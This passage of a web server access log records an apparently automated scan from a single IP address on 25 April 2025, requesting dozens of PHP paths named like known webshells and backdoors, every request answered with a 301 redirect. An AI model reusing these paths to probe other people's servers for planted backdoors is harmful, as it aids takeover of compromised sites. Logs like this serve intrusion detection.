"GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:21:42 -0400] "GET /indeks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:43 -0400] "GET /wp-content/plugins/seoo/xynz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:43 -0400] "GET /wp-content/tmpls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:43 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:44 -0400] "GET /wp-admin/js/widgets/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 91.199.118.49 - - [25/Apr/2025:11:21:44 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:44 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:21:44 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:45 -0400] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:45 -0400] "GET /back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 91.199.118.49 - - [25/Apr/2025:11:21:45 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:45 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 91.199.118.49 - - [25/Apr/2025:11:21:45 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:46 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:46 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:46 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:46 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.199.118.49 - - [25/Apr/2025:11:21:47 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 91.199.118.49 - - [25/Apr/2025:11:21:47 -0400] "GET /rt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 91.199.118.49 - - [25/Apr/2025:11:21:47 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 91.199.118.49 - - [25/Apr/2025:11:21:47 -0400] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:48 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.199.118.49 - - [25/Apr/2025:11:21:48 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 91.199.118.49 - - [25/Apr/2025:11:21:48 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:48 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:48 -0400] "GET /.well-known/pki-validation/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 91.199.118.49 - - [25/Apr/2025:11:21:49 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:49 -0400] "GET /hjk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:49 -0400] "GET /wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:21:49 -0400] "GET /ac.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:50 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:50 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:50 -0400] "GET /wp-includes/js/plupload/jquery.Jcrop.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:21:50 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:21:51 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 91.199.118.49 - - [25/Apr/2025:11:21:51 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:51 -0400] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:51 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:51 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:21:52 -0400] "GET /wp-content/plugins/seox/randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:52 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:52 -0400] "GET /index/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 91.199.118.49 - - [25/Apr/2025:11:21:52 -0400] "GET /aj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:21:52 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:53 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:53 -0400] "GET /hui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:53 -0400] "GET /oo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 91.199.118.49 - - [25/Apr/2025:11:21:53 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:21:53 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:54 -0400] "GET /wp-admin/maint/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:21:54 -0400] "GET /randkeyword.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:54 -0400] "GET /ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:54 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:54 -0400] "GET /wp-admin/images/lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:55 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:55 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:55 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:21:55 -0400] "GET /ui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.199.118.49 - - [25/Apr/2025:11:21:56 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:21:56 -0400] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 91.199.118.49 - - [25/Apr/2025:11:21:56 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:56 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:56 -0400] "GET /kl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:57 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 91.199.118.49 - - [25/Apr/2025:11:21:57 -0400] "GET /wsoyanzfv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.199.118.49 - - [25/Apr/2025:11:21:57 -0400] "GET /wp-admin/Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:21:57 -0400] "GET /index/gu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:57 -0400] "GET /lk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.199.118.49 - - [25/Apr/2025:11:21:58 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:58 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:21:58 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:58 -0400] "GET /update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:21:58 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.199.118.49 - - [25/Apr/2025:11:21:59 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:21:59 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:21:59 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 91.199.118.49 - - [25/Apr/2025:11:21:59 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.199.118.49 - - [25/Apr/2025:11:21:59 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:22:00 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:00 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:00 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 91.199.118.49 - - [25/Apr/2025:11:22:00 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:22:00 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:01 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 91.199.118.49 - - [25/Apr/2025:11:22:01 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.199.118.49 - - [25/Apr/2025:11:22:01 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:01 -0400] "GET /sidwsi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 91.199.118.49 - - [25/Apr/2025:11:22:02 -0400] "GET /wpupp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:02 -0400] "GET /upmdxpcz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 91.199.118.49 - - [25/Apr/2025:11:22:02 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 91.199.118.49 - - [25/Apr/2025:11:22:02 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:02 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:03 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:03 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:22:03 -0400] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:03 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:04 -0400] "GET /wp-includes/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:04 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:04 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:22:04 -0400] "GET /xpfkcrpp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:22:04 -0400] "GET /wp-content/uploads/2023/a22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:22:05 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 91.199.118.49 - - [25/Apr/2025:11:22:05 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:05 -0400] "GET /wordpress/update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:05 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:05 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:06 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:06 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:06 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:06 -0400] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:22:06 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:22:07 -0400] "GET /wp-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 91.199.118.49 - - [25/Apr/2025:11:22:07 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:22:07 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:07 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" 